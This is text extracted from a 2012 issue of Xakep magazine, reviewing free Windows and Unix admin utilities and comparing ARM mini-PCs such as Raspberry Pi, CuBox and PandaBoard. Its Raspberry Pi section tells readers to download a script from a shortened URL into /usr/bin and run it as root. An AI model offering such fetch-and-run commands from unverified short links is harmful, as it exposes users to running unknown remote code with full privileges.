музыку и видео на жестких дисках пользователя, достаточнозадать соответствующие расширения (avi, mp3 и тому подобные).Результат можно открыть как веб-страницу, экспортироватьв файл многих популярных форматов (txt, XML, CSV, PDF) или в базуданных (при помощи мастера, поддерживаются все популярные:MS SQL, MS Access, MySQL, Oracle и другие), отправить по e-mailи распечатать.УЧЕТ КОМПЬЮТЕРОВ С ПОМОЩЬЮ CHECKCFGПроблема учета оргтехники и используемого ПО остро стоитв любой организации. Решить ее можно разными способами, одиниз вариантов предлагает разработчик CheckCfg Андрей Татуков(checkcfg.narod.ru). Это решение периодически собирает данныео железе, ОС и программах, включая тип CPU, объем ОЗУ, место надисках, состояние S.M.A.R.T. и прочее. При этом CheckCfg легкосправляется с несколькими сотнями компьютеров. Результат выводитсяв удобной древовидной форме, к локальным каталогам легкополучить доступ. Каждому ПК может присваиваться инвентарныйномер, при необходимости легко сгенерировать отчет в RTFформате.CheckCfg представляет собой целый комплекс программ. Занепосредственный сбор данных о компьютере отвечает CheckCfg,которая запускается при старте ОС и записывает результат в файл.Управление и архивация информации производится при помощипрограммы учета Sklad, которая обрабатывает файлы, созданныеCheckCfg, и сохраняет в свою базу данных, после чего можно формироватьотчеты. При помощи программы Sklad_w можно в удобнойформе просматривать текущие конфигурации компьютерови основные данные по оргтехнике (по IP-адресам, CPU, Memory,ПО). Для анализа изменений в конфигурации ПК и оповещения обэтом администратора используется еще одна утилита — Doberman.Возможно, настройка покажется не совсем тривиальной, так какпредстоит вручную создать нужные конфигурационные файлы, нодетальное описание на сайте и имеющиеся шаблоны позволяютбез проблем со всем разобраться.MAILARCHIVA OPEN SOURCE EDITIONНекоторые почтовые серверы, вроде MS Exchange, имеют функцииархивирования почты, позволяющие при необходимости найтистарые сообщения, в том числе и чтобы выявить утечку конфиденциальнойинформации при расследовании инцидентов. В остальныхслучаях приходится обеспечивать данные функции самостоятельно.Сканер Advanced IP Scanner позволяет получить список устройств, работающих в сетиХАКЕР 08 /163/ 2012 033


PC ZONEПри помощи WinAudit администратор узнает все о железе, ПО и системных настройкахОтчеты, генерируемые PAL, позволяют получить информацию о производительности системыВариантом решения является разработка компании MailArchiva(mailarchiva.com), совместимая с большинством современных почтовыхсерверов (Lotus Domino, MS Exchange, MDaemon, Postfix, Zimbra,Sendmail, Scalix, Google Apps). Поддерживается архивирование попротоколам SMTP, IMAP/POP3, WebDAV и через Мilter (программаимеет встроенный SMTP- и Milter-сервер, IMAP/POP-клиент). Чтобыне собирать всю почту, можно создавать любые правила архивации.Реализовано три уровня доступа к сохраненным данным — пользователь(только своя почта), администратор (настройки и свояпочта) и аудитор (вся почта, можно ограничить правилами). В OpenSource версии MailArchiva (openmailarchiva.sf.net) также реализованыфункции интуитивного поиска, в том числе во вложениях(Word, PowerPoint, Excel, OpenOffice, PDF, RTF, ZIP, tar, gz). РаботаетMailArchiva на Windows, Linux, FreeBSD и Mac OS X.PERFORMANCE ANALYSIS OF LOGSВ случае проблем с производительностью системы обнаружитьузкое место при помощи штатного Windows Performance Monitor,не имея опыта, довольно сложно. Для того чтобы разобраться,какие метрики нужно снимать и как правильно интерпретироватьрезультат, потребуется тщательно прошерстить документацию.Утилита PAL (Performance Analysis of Logs, pal.codeplex.com) заметноупрощает поиск «бутылочного горлышка». После запуска онапросматривает журналы и анализирует их при помощи встроенныхшаблонов. В настоящее время имеются настройки для большинствапопулярных продуктов MS — IIS, MOSS, SQL Server, BizTalk,Exchange, Active Directory и других. После запуска администраторв мастере PAL Wizard активирует нужные счетчики, просто выбравшаблон из списка предложенных, указывает текущие настройкисервера (количество CPU и прочие), интервал анализа и каталогдля сохранения результата. Через некоторое время будет выданподробный отчет в HTML и XML, содержащий описание, имясчетчика и показатели (Min, Avg, Max и Hourly Trend). Отчет затемможно легко скопировать в любой документ. Но разбираться далеев собранных параметрах придется все равно самостоятельно. Хотяесли PAL показывает, что характеристика находится в зеленомсекторе, волноваться не стоит. Сам запрос записывается в скриптеPowerShell PAL.ps1, который можно сохранить для дальнейшегоиспользования. Шаблоны представляют собой XML-файлы; взяв запример любой из них, можно создать свой вариант. Для редактированияпараметров в шаблоне предлагается встроенный редакторPAL Editor.Официально поддерживается Win7, но работает на всех ОСот MS, начиная с WinXP (32/64). Для установки понадобитсяPowerShell v2.0+, MS .NET Framework 3.5SP1 и MS Chart Controls forMicrosoft .NET Framework 3.5.СОЗДАЕМ ТОЧКУ ДОСТУПА С VIRTUAL ROUTERСитуация, когда компьютер с Wi-Fi-картой необходимо превратитьв точку доступа, сегодня отнюдь не редка. Например, нужнобыстро развернуть WLAN или расширить зону покрытия Wi-Fi. Изначальноработа беспроводной карты предусматривалась тольков одном из двух режимов: точка — точка, когда клиенты подсоединяютсядруг к другу, или как точка доступа. В Win7/2k8 (кроме Win7Starter Edition) появилась возможность виртуализировать сетевыесоединения (технология Virtual Wi-Fi), позволяющая создавать несколькоWi-Fi-модулей со своими настройками при использованииодного физического Wi-Fi-адаптера. Таким образом компьютерможет быть подключен к Wi-Fi и в то же время выступать в качестветочки доступа (SAPoint, Software Access Point). Соединениес таким виртуальным хот-спотом защищено при помощи WPA2.Превратить ПК под управлением Win7/2k8R2 в точку доступаможно при помощи консольной утилиты Netsh, через Центруправления сетями и общим доступом, либо воспользовавшисьприложением Virtual Router (virtualrouter.codeplex.com), обладающиминтуитивно понятным GUI и очень простыми настройками.После запуска Virtual Router нужно лишь указать SSD и пароль дляподключения, а затем активировать точку доступа. При необходимостиостановить работу хот-спота можно также нажатием однойкнопки. Дополнительно в окне отображаются текущие подключенияк точке, для каждого можно задать свой значок и изменитьнекоторые параметры.УПРАВЛЕНИЕ RDC-ПОДКЛЮЧЕНИЯМИ — RDCMANДля удаленного управления серверами и ПК, работающимипод управлением Windows, предназначена оснастка RemoteDesktop Connection. Если необходимо устанавливать многоRDP-соединений с различными настройками, то работать с нейстановится неудобно. Вместо методичного сохранения индивидуальныхнастроек для каждого удаленного компьютера можноиспользовать бесплатный инструмент Remote Desktop ConnectionManager (RDCMan, goo.gl/QHNfQ), автоматизирующий этот процесс.После запуска следует указать настройки RDP-подключения,которые будут использоваться по умолчанию и наследоватьсявсеми соединениями. Здесь задаем общие учетные данные, шлюз,установки экрана, параметры безопасности и многое другое. Далеесоздаем нужное количество групп систем (например, по назначению,расположению, версии ОС), для каждой из них можно указать034ХАКЕР 08 /163/ 2012


Бескорыстные помощникиспецифические настройки соединения. И последний шаг — заполнениегрупп системами. Для добавления сервера следует ввестилишь доменное имя, если любой параметр будет отличаться отнастроек групп, его можно тут же переопределить. При необходимостисистемы легко перемещаются между группами простымперетаскиванием. Если систем много, проще создать текстовыйфайл, указав по одному имени в строке, после чего скормить заготовкуутилите. Теперь, чтобы подключиться, достаточно выбратьнужный сервер и в контекстном меню щелкнуть пункт «Connect».Можно одновременно активировать несколько соединений и переключатьсямежду ними.FREE ACTIVE DIRECTORY TOOLSУправлять параметрами Active Directory при помощи штатныхинструментов не всегда просто и удобно. В некоторых ситуацияхпоможет комплект утилит Free Active Directory Tools (goo.gl/g11zU),разрабатываемый компанией ManageEngine. Комплект состоит изтринадцати утилит, запускаемых из одной оболочки. Для удобстваони разбиты на шесть групп: AD USer Report, SharePoint Report,User Management, Domain and DC Info, Diagnostic Tools и SessionManagement. Например, запуск Empty Password User Report позволитполучить список учетных записей с пустыми паролями,GetDuplicates — получить аккаунты с одинаковыми атрибутами,CSVGenerator — сохранить в CSV-файл данные аккаунтов ActiveDirectory. Другие возможности: отчет о времени последнего входав систему, получение данных из AD на основе запроса, отчетыпо установкам SharePoint, управление локальными учетнымизаписями, просмотр и редактирование политик паролей домена,получение списка контроллеров домена и их ролей, управление ихрепликацией, мониторинг их работы (загрузка CPU, ОЗУ, жесткихдисков, производительность и прочее), управление терминальнымисессиями и многое другое.COMODO TIME MACHINEВозможность восстановления системы при помощи компонентаSystem Restore заложена в Windows, начиная с ХР, но его функциональность,мягко говоря, ограничена, поэтому для бэкапа частоиспользуют сторонние приложения. Бесплатная утилита ComodoTime Machine (comodo.com) позволяет сделать откат ОС до любогопредыдущего состояния. Причем она будет работать даже в томслучае, когда ОС совсем перестала загружаться. В процессе CTMсоздает точки восстановления (вручную или по расписанию), в нихзаносятся все измененные системные файлы, реестр, а такжефайлы пользователя. Это большое преимущество по сравнениюс System Restore, который сохраняет и восстанавливает толькосистемные файлы и реестр. Максимальный размер имеет перваякопия, остальные копии хранят лишь измененные файлы. С цельюэкономии свободного дискового пространства следует периодическисоздавать новую контрольную точку, удаляя старые архивы.Для возможности восстановления ОС информация о CTM прописываетсяв загрузочный сектор; чтобы вызвать соответствующееменю, достаточно нажать клавишу . Восстанавливатьсостояние ОС можно также по расписанию, например настроитьповедение утилиты так, чтобы при каждой перезагрузке производилсяавтоматический откат к «чистой» версии системы. Это будетполезно, например, в интернет-кафе, где пользователи после себяоставляют в системе много мусора. Кроме полного восстановленияОС, утилита предоставляет возможность получить из архива болеераннюю версию любого файла. Реализован поиск, поэтому найтинужные данные можно без проблем.AMANDAЗадачу централизованного резервного копирования данных с рабочихстанций и серверов, работающих под управлением Windowsи *nix, можно решить при помощи AMANDA (Advanced MarylandAutomatic Network Disk Archiver, amanda.org). Изначально программабыла создана для работы с ленточными накопителями, носо временем разработчики предложили механизм под названием«виртуальные ленты» (vtapes), позволяющий сохранять собранныеданные на жесткие диски и CD/DVD. AMANDA является удобнойнадстройкой к стандартным unix-программам dump/restore, GNUtar и некоторым другим, поэтому ее основные характеристики сле-Чтобы обнаружить неактивные учетные записи, применяем NetWrix InactiveUsers TrackerЕДВА ПОЯВИВШИСЬ,POWERSHELL ЗАВОЕВАЛСИМПАТИИ ВИНДОВЫХАДМИНОВ, КОТОРЫЕ ДАВНОНУЖДАЛИСЬ В ИНСТРУМЕНТЕДЛЯ АВТОМАТИЗАЦИИХАКЕР 08 /163/ 2012 035


PC ZONEПакет Free Active Directory Tools содержит 13 полезных утилит дляадминистрирования ADИспользуя Virtual Router, можно создать точку доступа из обычного ПКдует рассматривать именно исходя из возможностей этих базовыхутилит. Работает по клиент-серверной схеме. Для доступа к компьютерамиспользуются все доступные методы аутентификации:Kerberos 4/5, OpenSSH, rsh, bsdtcp, bsdudp или пароль Samba. Длясбора данных с Windows-систем задействуется специальный агентили, как вариант, Samba. Сжатие и шифрование (GPG или amcrypt)информации можно выполнять как непосредственно на клиенте,так и на сервере. Все настройки параметров резервированияпроизводятся исключительно на сервере, в поставке имеютсяготовые шаблоны, поэтому разобраться довольно просто.CORE CONFIGURATOR 2.0 FOR SERVER COREПервоначальная настройка сервера, работающего под управлениемWin2k8/R2 в режиме Server Core, производится в консолипри помощи команд. Чтобы упростить задачу, разработчики ОСдобавили в R2 интерактивный скрипт SCONFIG.cmd, позволяющийнастроить основные параметры системы. На Сodeplex доступнаальтернатива — замечательный конфигуратор Core Configurator(coreconfig.codeplex.com). Для его работы понадобится наличиекомпонентов NetFx2-ServerCore, NetFx2-ServerCore и PowerShell.После запуска Start_CoreConfig.wsf получаем меню, в нем находимнесколько пунктов, обеспечивающих доступ к основным настройкам,которыми пришлось бы управлять из командной строки: активацияпродукта, настройка разрешения экрана, часов и временнойзоны, сетевого интерфейса, установка разрешений для удаленныхRDP-подключений, управление локальными учетными записями,настройки Windows Firewall, включение/отключение WinRM, изменениеимени компьютера, рабочей группы или домена, настройкароли, компонентов, Hyper-V и запуск DCPROMO. Если установитьфлажок «Load at Windows startup», то программа будет загружатьсявместе с системой.написана на C# и использует PowerShell. Для работы понадобитсяустановленный Exchange 2010 Management Tools.POWERGUIЕдва появившись, командная оболочка PowerShell завоевала симпатиивиндовых админов, которые давно нуждались в инструменте,позволяющем автоматизировать многие задачи. С первыми версиямиPowerShell разработчики из Microsoft не смогли предложить болееменеефункциональный редактор, поэтому нишу заполнили несколькосторонних проектов. Самым лучшим из них на сегодня являетсяPowerGUI (powergui.org), предоставляющий удобный графический интерфейсдля эффективного создания и отладки PowerShell-скриптов.При этом авторы предлагают готовые комплекты сценариев для решениямногих задач — их можно использовать в своих разработках.MULTI-TABBED PUTTYСвободно распространяемый клиент PuTTY хорошо известенадминам, которым необходимо подключаться к удаленным хостампо протоколам SSH, Telnet или rlogin. Это очень удобная программа,позволяющая сохранить настройки сессий для быстрого подключенияк выбранной системе. Единственное неудобство — прибольшом количестве подключений рабочий стол получается загруженмножеством открытых окон. Эту проблему решает надстройкаMulti-Tabbed PuTTY (ttyplus.com/multi-tabbed-putty), реализующаясистему вкладок.ЗАКЛЮЧЕНИЕЧасто нет необходимости ломать голову над решением определеннойпроблемы: скорее всего, другие администраторы с ней ужестолкнулись и предложили свой вариант — конкретную утилитуили скрипт, за который даже не нужно платить. zEXCHANGE 2010 RBAC MANAGERВ Exchange 2010 появилась новая ролевая модель доступа,позволяющая тонко контролировать уровень привилегий дляпользователей и администраторов в зависимости от выполняемыхзадач. Единственный минус — встроенные средства управленияпри помощи командлетов PowerShell не всем могут показатьсяудобными и понятными. Более развитыми возможностями обладаетбесплатный инструмент Exchange 2010 RBAC Manager (RBACEditor GUI, rbac.codeplex.com), предлагающий понятный графическийинтерфейс для настройки свойств всех ролей. Разобратьсяс его особенностями не составит труда даже новичку. ПрограммаWWWНа codeplex.comможно найтибольшое числовесьма полезныхутилит.Инструкция позапуску AmandaServer на компе подуправлением Windows:goo.gl/zyNzd.INFOАльтернативойVirtual Routerявляется Сonnectify(connectify.me),Lite-версия которойхотя и ограниченав возможностях, нопредоставляет всенеобходимое. Такжеможно посмотретьв сторону mhotspot(mhotspot.com).В качествеальтернативы ComodoTime Machineможно предложитьEaseUS Todo BackupFree (goo.gl/uifWC).Изначально PuTTYразрабатывалсядля Windows,однако позднее былпортирован на Unix.036ХАКЕР 08 /163/ 2012


Реклама


PC ZONEДенис Колисниченко (dhsilabs@mail.ru)МАКСИ-ГАЙДпо миникомпамВЫБИРАЕМ МЕЖДУRASPBERRY PI,COTTON CANDY, CUBOX,PANDABOARD, TRIM-SLICEИ ALLWINNER A10Первые компьютерывесили тонны и занималицелые комнаты,а над их обслуживаниемтрудиласьогромная командаспециалистов.Современные компьютерыпо размерамсравнимы с обычнымUSB-брелоком.ЧТО ТАКОЕ МИНИ-ПКИ С ЧЕМ ЕГО ЕДЯТ?Все в нашем мире относительно. Сначала я хотелнаписать о том, кто первый создал мини-компьютер.Но что такое «мини»? :) Например, в 1960-м годукомпания DEC разработала первый в мире миникомпьютерPDP-1, оснащенный клавиатурой и мышью,— размером «всего» с полкомнаты.Сейчас мини-компьютерами считают одноплатныекомпьютеры весьма небольших размеров.В идеале хороший мини-компьютер должен заниматьместа не больше, чем USB-брелок. Кто былпервым, проследить невозможно (а если и можно,то зачем?) — прежде чем появились одноплатныеПК для домашнего использования, была созданацелая армия разнообразных индустриальных ПК,которые применялись в роли встроенных системна производстве.Вместо того чтобы ломать голову, кто был первым,разберемся, зачем нужен мини-комп сегоднясамому обычному пользователю. Учитывая, что всемини-компы построены на базе ARM-процессоров,производительности у них не больше, чем у современныхсмартфонов. Поэтому на мини-ПКустанавливается или тот же Android, или легкие (вовсех смыслах — и в плане системных требований,и в плане освоения) дистрибутивы Linux. Конечно,с Linux на борту девайс становится более универсальным,но от этого он быстрее не станет. Тем неменее производительности подобных устройстввполне достаточно для организации медиацентраи воспроизведения HD-видео. Подчеркивает мультимедианаправленностьи наличие HDMI-разъема— девайс можно без проблем подключить к современномутелевизору. На некоторых устройствахесть и DVI-разъемы, что позволяет также подсоединятьих к не самым современным мониторам (на современныхчасто есть HDMI-разъем).Итак, для подключения к телевизору/мониторуимеется HDMI-разъем. Этот же разъем используетсяи для передачи звука. Но вот незадача: нена всех мониторах (не телевизорах), оснащенныхHDMI-разъемом, есть акустика. В итоге, если надевайсе нет отдельного аудиовыхода, звук не услышишь,пока не подключишь комп к телевизору илимонитору с акустикой. Этот факт нужно учитыватьпри выборе мини-ПК.Подключить клавиатуру и мышь — проще простого.На любом компе есть минимум один USBразъем,который можно использовать для подключениякак одного устройства, так и USB-хаба.Я рекомендую обзавестись USB-хабом минимум натри USB-порта: один для клавиатуры, другой длямыши, третий для флешки. Можно пойти и другимпутем: купить клавиатуру с двумя USB-портами:к одному подключишь мышку, к другому — флешку.Связь с внешним миром, то есть интернетом,осуществляется или по Wi-Fi, или через Ethernetпорт.038ХАКЕР 08 /163/ 2012


Макси-гайд по мини-компамRASPBERRY PIПРОСТОЕ ОБНОВЛЕНИЕПРОШИВКИ RASPBERRY PIПервые экземпляры Raspberry Pi давно поступилив продажу. Понятно, что первым деломони попали в руки разработчиков, а потомуже рядовых пользователей. Один из разработчиков,Hexxeh, создал инструмент дляпростого обновления прошивки. Правда, онсразу предупреждает, что использовать данныйинструмент можно только на свой страх и риск.Итак, для установки утилиты rpi-update нужновыполнить команды:wget http://goo.gl/1BOfJ -O /usr/bin/rpi-update && chmod +x /usr/bin/rpi-updatesudo apt-get install ca-certificatesДля обновления прошивки нужно запуститьrpi-update с полномочиями root:АЛЬФА-ВЕРСИЯПозволю себе сделать небольшой экскурсв историю разработки этого чуда техники.Впервые компьютер Raspberry Pi, точнее,его концепт размером с USB-брелок былпредставлен Дэвидом Брэбеном в мае2011 года. Уже летом того же года былаотправлена в производство альфа-версияплаты, а 12 августа была произведенапервая партия устройств.Стало известно, что альфа-версияплаты, помимо тестовых функций, содержитболее дорогие детали, которыхне будет в «релизе». Это делается длятого, чтобы комп стал дешевле, но есть лив этом смысл? Себестоимость «релиза» —на 20% меньше, а сама плата состоит неиз шести слоев, а из четырех.Ранее компьютер распространялсятолько как плата, сейчас — в пластиковомкорпусе: уже не нужно ломать головунад тем, куда воткнуть плату.ЖЕЛЕЗО И РАЗМЕРЫСуществует две комплектации RaspberryPi — модель «А» и модель «B». Процессору них одинаковый — BroadcomBCM2835 (архитектура ARM11) с частотойвсего 700 МГц и модулями оперативки по256 Мб, которые размещены непосредственнона самом процессоре (технология«package-on-package»). ПроцессорBCM2835 также содержит в себе графическоеядро с поддержкой OpenGL ES 2.0,аппаратного ускорения и FullHD-видео.Особенностью этого компьютера являетсяполное отсутствие часов реальноговремени.Разница между моделями заключаетсяв количестве USB-портов (у модели«А» один порт, у модели «B» — два) и вналичии Ethernet-порта у модели «B».Вывод видеосигнала возможен иличерез композитный разъем RCA или черезHDMI. Файловая система размещаетсяна карте памяти SD, MMC или SDIO. Нообычно используются SD-карты.После добавления на борт всегонеобходимого размеры компьютера увеличилисьдо размеров кредитной карты,но и это, согласись, немного. Конечно, нестоит ожидать от него особой расторопности,но для простых задач его производительностибудет вполне достаточно.СОФТА как же с программным обеспечением?А здесь все стандартно: мини-компработает под управлением Debian илиFedora. Вполне привычные для Linuxпользователейдистрибутивы. Так,Raspberry Pi, выпущенный 19 февраляэтого года, работал под управлениемDebian 6.0, оболочка LXDE, браузерMidori. Впрочем, этот мини-компьютерможет работать под управлением любойОС, которая поддерживает архитектурупроцессоров ARM.ЦЕНА35$farnell.com/raspberrypisudo rpi-updateЗагружать саму прошивку не нужно, скриптполучает ее автоматически из https://github.com/Hexxeh/rpi-firmware. Открой скрипт rpiupdateи найди в нем строчку:FW_REPO="git://github.com/Hexxeh/rpi-firmware.git"Это и есть путь к репозиторию с прошивкой.Если ввести адрес github.com/Hexxeh/rpi-firmware.git, то браузер автоматическиперенаправит нас в сам репо — https://github.com/Hexxeh/rpi-firmware, где можно будет просмотретьфайлы прошивки.Управление скриптом осуществляется с помощьюпеременных окружения. ПеременнаяSKIP_KERNEL отвечает за прошивку без ядра.Если SKIP_KERNEL=1, то операционная систематвоего Raspberry Pi будет обновлена полностью,кроме файлов ядра и модулей ядра.Переменные ROOT_PATH/BOOT_PATH используютсядля «оффлайн»-обновления, когдафайлы прошивки уже загружены на SD-карту.Примеры использования переменных:SKIP_KERNEL=1 rpi-updateROOT_PATH=/media/root BOOT_PATH=/media/boot rpi-updateХАКЕР 08 /163/ 2012 039


PC ZONECUBOXЦЕНА99$solid-run.com/storeFXICOTTONCANDYЦЕНА199$store.cstick.comГеография мини-компьютеров разнообразна. Raspberry Pi разработанв Великобритании, FXI — компания норвежская. Теперь мы виртуальноперемещаемся в Израиль (так и до Китая доберемся — я обещаю), чтобыпознакомиться с мини-ПК CuBox. CuBox — это еще один одноплатныйкомпьютер небольшого размера (222 дюйма) и массой всего 91 грамм.ЖЕЛЕЗОДумаю, я особо никого не удивлю, если скажу, что и этот комп построен набазе ARM-процессора Marvell Armada 510 ARMv7 с частотой 800 МГц. Оперативки— 1 Гб, а обработкой видео занимается чип Vivante GC600 GPU, совместимыйс OpenGL 3.0 and OpenGL ES 2.0 и способный справиться с обработкой2D/3D-графики. Также на борту этого компьютера есть аппаратныйHD-декодер (Marvell vMeta HD Video Decoder). Учитывая такие особенностиэтого компьютера, его производительности вполне достаточно, чтобыработать с 1080p видео и использовать классические интерфейсы KDEи GNOME в Linux. И при этом компьютер потребляет всего 3 Вт энергии!СОФТОфициально можно приобрести данный компьютер или с UbuntuDesktop 10.04 (но можно установить любой дистрибутив Linux с ядром2.6.x) и Android 2.2.x (поддерживаются и более поздние версии). Обесистемы установлены на SD-карту, и при загрузке можно выбрать однуиз них. Размер SD-карты, с которой поставляется компьютер, — всего2 Гб, но никто не мешает установить карту побольше, предварительнопроинсталлировав туда Ubuntu с Android (их можно взять с оригинальнойфлешки).ЖЕЛЕЗО И РАЗМЕРЫВнешне FXI Cotton Candy (разработчик— компания FXI Technologies)напоминает крупную флешку с выходомHDMI.На борту Cotton Candy — двухъядерныйпроцессор Samsung Exynos4210 с частотой 1,2 ГГц (архитектураARM), 1 Гб оперативной памятии графический чип Mali-400 MP.В качестве запоминающего устройстваможно использовать microSDкарты(поддерживаются объемы до64 Гб).Если на борту у модели «B» —только Ethernet-порт, то Cotton Candyподдерживает Wi-Fi 802.11b/g/nи Bluetooth 2.1.СОФТCotton Candy работает под управлениемAndroid 4.0 Ice CreamSandwich, но теоретически можноустановить любую систему, поддерживающуюархитектуру ARM,например тот же Linux.НА САМОМ ДЕЛЕНЕТРАДИЦИОН-НОЕ ИСПОЛЬЗО-ВАНИЕ МИНИ-КОМПЬЮТЕРОВ —ОТ ПРИМЕНЕНИЯВ АВТОМОБИЛЕ ДОАВТОМАТИЧЕСКО-ГО УПРАВЛЕНИЯКОТОМ — БОГАТАЯТЕМА. ДУМАЮ,ОБ ЭТОМ МЫ ЕЩЕНАПИШЕМ.CUBOX: ПРОБЛЕМЫ С DBUS НА ПРЕДУСТАНОВЛЕННОЙ UBUNTUНа CuBox кроме Android установлена Ubuntu10.04 LTS. Все бы хорошо, но Ubuntu безглюков не бывает. CuBox — не исключение.Главный глюк Ubuntu, установленной наCuBox, — это некорректно работающийDBUS. Проявляется это в отсутствии звукапо HDMI, неработающем автоматическоммонтировании носителей, неработающемNetworkManager и ошибке «asoc: CS42L51 mv88fx-i2s1 No matching rates». Натвоем CuBox может быть один какойтосимптом, а могут быть и все сразу.Проблема решается переустановкой DBUS:sudo apt-get --reinstall install dbus040ХАКЕР 08 /163/ 2012


Макси-гайд по мини-компамPANDABOARDКАК УСТАНОВИТЬ UBUNTU НА PANDABOARDЯ уже говорил, что на PandaBoard можно установить любой дистрибутив Linuxили Android. Сейчас разберемся, как это сделать, на примере Ubuntu. Сразуоговорюсь. PandaBoard — это платформа OMAP4, поэтому нам нужен не любойдистрибутив Linux, а «любой с поддержкой OMAP4». Например, Ubuntu.Нам понадобится компьютер под управлением Linux (дистрибутивзначения не имеет), доступ к инету и SD-карта. Первым делом получаем образUbuntu с поддержкой OMAP4: cdimage.ubuntu.com/releases/11.10/release/ubuntu-11.10-preinstalled-desktop-armel+omap4.img.gz.Теперь этот образ нужно поместить на SD-карту. Вставь SD-карту, сейчаснужно выяснить ее имя устройства:PandaBoard — еще один одноплатный компьютер,с которым мы сегодня познакомимся. Производитель —Texas Instruments (США). Компьютеры, о которых я ужерассказал, обычно поставляются в пластиковом корпусе,то есть сразу «пригодны для употребления». PandaBoardпоставляется в виде платы, но при желании можноотдельно заказать и пластиковый корпус. Вообще,PandaBoard позиционируется не как мини-ПК, а какплата для разработчиков мобильных устройств — такойсебе конструктор типа «собери сам».ЖЕЛЕЗОПлата PandaBoard поставляется с процессором TI OMAP4460 (для PandaBoard ES, на PandaBoard установлен процессор4430) с двумя ядрами ARM Cortex-A9. Процессорработает на частоте 1,2 ГГц, объем оперативки — 1 Гб,а на борту имеется полноразмерный слот для SD-карт.Обработкой видео занимается встроенный процессорPowerVR SGX540. Чип поддерживает OpenGL ES 2.0,OpenGL ES 1.1, OpenVG 1.1 и EGL 1.3.Что еще интересного есть на плате? Ну, например, наее борту есть модуль WiLinkTM 6.0, который отвечает заподдержку Wi-Fi (802.11 b/g/n) и Bluetooth, контроллерEthernet 10/100, контроллер RTC (часы реального времени),интерфейсы HDMI и DVI-D, порты USB 2.0, а такжеаудиоразъем. При этом масса платы составляет всего 82грамма, а размеры — 114,3101,6 мм.Изюминкой платы является последовательный портRS-232 (дома ему уже не место, а вот на производствепригодится, так что на базе этой платы можно строитьне только мини-ПК для дома, но и индустриальные ПК)и слот для плат расширений. Чтобы увеличить функциональностьплаты, можно приобрести набор BeadaFrame7" LCD (BeadaFrame 7" LCD display kit), который включаетв себя сенсорный TFT-экран размером 7 дюймов и разрешением800480, пластиковый корпус, средство дляхранения реального времени (RTCtime keeper) и устройство контроляподсветки экрана.СОФТПлата поставляется безкакого-либо программногообеспечения, но«оживить» ее можетлюбой дистрибутивLinux или же Android.ЦЕНА182$goo.gl/8fWYF$ df -hВ ответ получишь что-то вроде:Filesystem Size Used Avail Use% Mounted on/dev/sda5 100G 8.0G 92G 8% /none 995M 700K 995M 1% /devnone 1002M 308K 1001M 1% /dev/shmnone 1002M 104K 1002M 1% /var/runnone 1002M 0 1002M 0% /var/lock/dev/sdb2 16G 0G 16G 0% /media/ 097afede-571b-32c4-8612-3364f0655f52Отсюда ясно, что SD-карта — это /dev/sdb2. Размонтируем ее:$ sudo umount /dev/sdb2Запишем образ на SD-карту:$ gunzip -c ubuntu-11.10-preinstalled-server-armel+omap4.img.gz \| sudo dd bs=4M of=/dev/sdb$ syncДалее вставляем карточку в PandaBoard и подключаем ее к COM-портусвоего компа. Если такого порта нет, тогда понадобится кабель USB2COM (USBto Serial). Включаем PandaBoard и запускаем терминал (на твоем компе):$ TERM=vt100 minicom -sПо умолчанию minicom использует устройство /dev/ttyUSB0, обычно такназывается первое устройство USB2COM. Узнать, к какому именно устройствуподключена PandaBoard, можно командой $ dmesg | grep tty.Осталось только следовать инструкциям, появляющимся на экранетерминала, — через некоторое время Ubuntu будет установлена.После установки Ubuntu нужно установить дополнительные плагины. Опятьподключись к консоли PandaBoard и отредактируй файл /etc/apt/sources.listsudo vim /etc/apt/sources.listНужно раскомментировать строки, отвечающие за подключениерепозиториев Universe и Multiverse. После этого нужно ввести команды:$ sudo apt-get install python-software-properties$ sudo add-apt-repository ppa:tiomap-dev/release$ sudo apt-get update$ sudo apt-get install ubuntu-omap4-extrasПосле этого перезагружаем PandaBoard:$ sudo rebootХАКЕР 08 /163/ 2012 041


PC ZONETRIM-SLICETrim-Slice — безвентиляторный неттоп небольшихразмеров, разработанный израильской компаниейCompuLab. Это самый крупный из всех мини-компов.На фоне тех же нетбуков это устройство довольномаленькое — посмотри фото Trim-Slice с ключами отавтомобиля. Размер небольшой (9,5131,5 см), но всеже больше, чем у конкурентов.ЖЕЛЕЗОЭто первый коммерческий неттоп на базе процессоровNVIDIA Tegra 2. Это двухъядерные ARM-процессорычастотой 1 и 1,2 ГГц.На борту Trim-Slice находятся: SSD SATA 32 Гб (да-да,SSD-накопитель), SD-слот для чтения SD-карт и расширениядискового пространства, 1 Гб DDR2-800, разъемыHDMI и DVI, звуковая плата 5.1, 4 USB-порта версии 2.0,Ethernet-порт 10/100/1000, Wi-Fi 80.211n, RS-232.Без сомнения, данный неттоп самый универсальный(больше USB-портов, RS-232, Wi-Fi и быстрый Ethernetпорт),самый быстрый (благодаря использованию SSDнакопителявместо SD-карт и быстрой оперативки), нои самый большой. Размеры этого компа таки превышаютUSB-брелок.СОФТПо сути, Trim-Slice — это полноценный компьютер,только без вентилятора и маленького размера.И поэтому он работает под управлением полноценногодистрибутива Ubuntu.ALLWINNER A10И ZERO DEVICES Z802Нет такой вещи, которая бы не делалась в Китае.Было бы странно не упомянуть китайскиемини-компьютеры в этом обзоре. УстройстваAlLWinner A10 и ZERO Devices Z802 — полностьюидентичные, как по своим характеристикам, таки внешне. Единственная разница между ними —ЦЕНА74$Китайскиеонлайн-магазинылоготип ZERO Devices. Устройства с таким лого стоят на 2доллара дороже. За что — непонятно. В доказательство своих слов привожуссылку на описание ZERO Devices Z802: tinyurl.com/7gjzj6y.ЖЕЛЕЗОКомпьютер AllWinner A10 быстрее, чем Raspberry Pi: он основан на одноядерномпроцессоре ARM Cortex-A8 с частотой 1,5 ГГц. На борту — 512 Мб оперативки,графический чип Mali-400, HDMI-выход, порты USB и microUSB, слот для чтенияSD-карт (поддерживаются SD-карты до 32 Гб), модуль Wi-Fi 802.11 b/g.Производительности AllWinner вполне достаточно, чтобы воспроизводитьвидео с разрешением Full HD. А большего от него и не требуется.СОФТКитайский мини-компьютер работает под управлением ОС Android Ice CreamSandwich. Можно установить и любую другую ARM-совместимую систему, напримерLinux.ЦЕНА338$trimslice.comМИНИ-КОМПЫ ПОСТРОЕНЫ НА БАЗЕ ARM-ПРОЦЕССОРОВ, И ПРОИЗВОДИТЕЛЬНОСТИ У НИХ НЕБОЛЬШЕ, ЧЕМ У СОВРЕМЕННЫХ СМАРТФОНОВ. ПО-ЭТОМУ НА МИНИ-ПК УСТАНАВЛИВАЕТСЯ ANDROIDИЛИ ЛЕГКИЕ ДИСТРИБУТИВЫ 